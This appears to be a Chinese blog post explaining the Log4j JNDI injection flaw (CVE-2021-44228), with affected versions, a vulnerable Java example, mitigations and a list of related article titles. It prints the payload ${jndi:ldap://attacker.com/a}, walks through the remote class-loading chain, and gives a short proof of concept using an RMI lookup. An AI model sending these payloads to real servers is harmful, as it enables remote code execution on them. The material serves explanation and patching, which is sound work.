漏洞

影响范围

2.0 <= Apache log4j <= 2.14.1

利用

import org.apache.log4j.Logger;import java.io.*;
import java.sql.SQLException;
import java.util.*;public class VulnerableLog4jExampleHandler implements HttpHandler {static Logger log = Logger.getLogger(log4jExample.class.getName());/*** A simple HTTP endpoint that reads the request's User Agent and logs it back.* This is basically pseudo-code to explain the vulnerability, and not a full example.* @param he HTTP Request Object*/public void handle(HttpExchange he) throws IOException {string userAgent = he.getRequestHeader("user-agent");// This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.// The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}log.info("Request User Agent:" + userAgent);String response = "<h1>Hello There, " + userAgent + "!</h1>";he.sendResponseHeaders(200, response.length());OutputStream os = he.getResponseBody();os.write(response.getBytes());os.close();}
}

Data from the User gets sent to the server (via any protocol),
The server logs the data in the request, containing the malicious payload: ${jndi:ldap://attacker.com/a} (where attacker.com is an attacker controlled server),
The log4j vulnerability is triggered by this payload and the server makes a request to attacker.com via “Java Naming and Directory Interface” (JNDI),
This response contains a path to a remote Java class file (ex. http://second-stage.attacker.com/Exploit.class) which is injected into the server process,
This injected payload triggers a second stage, and allows an attacker to execute arbitrary code.

另一种方法:

import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
public class Poc {private static final Logger log = LogManager.getLogger();public static void main(String[] args) {log.error("${jndi:rmi://127.0.0.1:1099/xxxx}");}
}

缓解方式

a、修改jvm参数 -Dlog4j2.formatMsgNoLookups=true
b、修改配置:log4j2.formatMsgNoLookups=True
c、系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS设置为true

参考

https://arstechnica.com/information-technology/2021/12/minecraft-and-other-apps-face-serious-threat-from-new-code-execution-bug/
https://www.lunasec.io/docs/blog/log4j-zero-day/
https://mp.weixin.qq.com/s/WBbAthHY36qY0w9e4UUl4Q
https://github.com/welk1n/JNDI-Injection-Exploit
https://v2ex.com/t/821241

Apache Log4j 漏洞(JNDI注入 CVE-2021-44228)相关推荐

  1. 网安大事件丨Fortinet对Apache Log4j漏洞利用的全面复盘与防御

    起底Apache Log4j漏洞: 如何出现.如何被利用与如何防御 受影响平台: 任何使用Log4j2漏洞版本的应用程序和服务 受影响用户: 任何使用Log4j的具备该漏洞版本的组织 影响: 远程攻击 ...

  2. Apache Log4j 远程代码注入漏洞

    漏洞说明 2021年12月9日,Apache Log4j2 Java 日志模块存在远程命令执行漏洞可直接控制目标服务器问题,攻击者攻击难度极低.由于 Apache Log4j2 某些功能存在递归解析功 ...

  3. apache log4j漏洞复现

    文章目录 1. Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645) 利用条件 利用 2. CVE-2019-17571 利用条件 利用 3. apache lo ...

  4. Apache log4j漏洞总结

    目录 log4j简介 工具链接 漏洞复现 CVE-2017-5645(Log4j反序列化漏洞) 环境搭建 漏洞原理 影响版本 漏洞复现 CVE-2021-44228(Log4j 2远程代码执行漏洞) ...

  5. Apache Log4j 漏洞持续爆雷,还能安心玩论坛吗?

    这一周,各家互联网公司的程序员朋友们,都快被一个叫 Apache Log4j的史诗级漏洞给搞疯了! 这个漏洞源于一个叫 Log4J2 的 Java 开源日志框架,它在用 Java 敲代码的码农群体里可 ...

  6. Apache Log4j漏洞学习笔记

    JNDI注入 LDAP 轻量级目录访问协议 ​ 可以理解为是一种目录数据库,概念上类似于马云的中国黄页.城镇电话簿这种. 比较典型的应用场景:统一登录 例如: ​ 一个公司下有很多系统比如OA.VPN ...

  7. RMI、JNDI、LDAP介绍+log4j漏洞分析

    介绍 本篇主要介绍java的RMI.JNDI.LDAP,在后面会详细分析log4j的jndi注入原理. 什么是RMI RMI全称是Remote Method Invocatioon,也就是远程方法调用 ...

  8. 「屋漏偏逢连夜雨」,Log4j 漏洞还没忙完,新的又来了

    整理 | 郑丽媛.禾木木 出品 | CSDN 这几天,Apache Log4j 2 绝对是众多 Java 程序员提到的高频词之一:由于 Apache Log4j 2 引发的严重安全漏洞,令一大批安全人 ...

  9. Apache Log4j2远程JNDI代码执行漏洞修复

    #漏洞简介 Apache Log4j2远程代码执行漏洞 当打印的日志含有${字符串时程序会使用lookup解析要打印的字符串,执行任意远程代码,框架没有做相应的过滤导致注入.官网已经在2.16.0(j ...

最新文章

  1. 用计算机实现智能解题,浙江省信息技术学考复习模块2——计算机功能、智能处理、字处理...
  2. Python collection模块
  3. python 如何将代码中的输入保存到txt里边
  4. sql 注射_只能在测试中注射吗?
  5. python提取数据库数据_Python如何读取MySQL数据库表数据
  6. 硬核评测:企业上云的极速存储挑战,华为云全新极速IO云硬盘性能评测
  7. JS实现表单多文件上传样式美化支持选中文件后删除相关项
  8. Linux 到 Windows scp 复制速度慢
  9. 用Java+Html+MySQL 实现注册、登录(servlet框架)-(一)
  10. [Python] 增加维度或者减少维度:a.squeeze(axis) 和 a.unsqueeze(axis)
  11. vs2010 如何更改界面
  12. 亲身经历:如何判断一个字符在a/z之前?
  13. css显示苹方字体,苹方字体的使用
  14. CPU的睿频、超线程、SIMD指令集等特性对密码算法性能的影响
  15. 如何使用IntelliJ IDEA中自带的mvn命令
  16. Python爬虫进阶--js逆向-某天下与某某二手房密码加密分析
  17. Python:peewee常用操作CRUD
  18. elementui[el-table]表格全选操作以及翻页选中取消相关效果
  19. docker 安装及部署
  20. Windows如何使用sh

热门文章

  1. 串口232,485转以太网模块 串口232,485转以太网模块 TCP/IP 串口协议转换模块
  2. 苹果手机如何批量删除联系人
  3. 估计下星期就能考科目二了
  4. java篇(二)Windows下的java环境搭建(jdk环境详细配置)
  5. pc显示器分辨率 前端_@media 响应式PC端媒体查询屏幕分辨率尺寸总结
  6. python画猴子_Python猴子补丁Monkey Patch用法实例解析
  7. 在过去有关电信版iPhone4S的上市传闻中
  8. iphone计算机回退,11个iPhone 隐藏的操作方法可以帮助你提高工作效率
  9. VB6.0操作Excel
  10. 怎么把项目提交到git服务器,git 命令提交项目到git服务器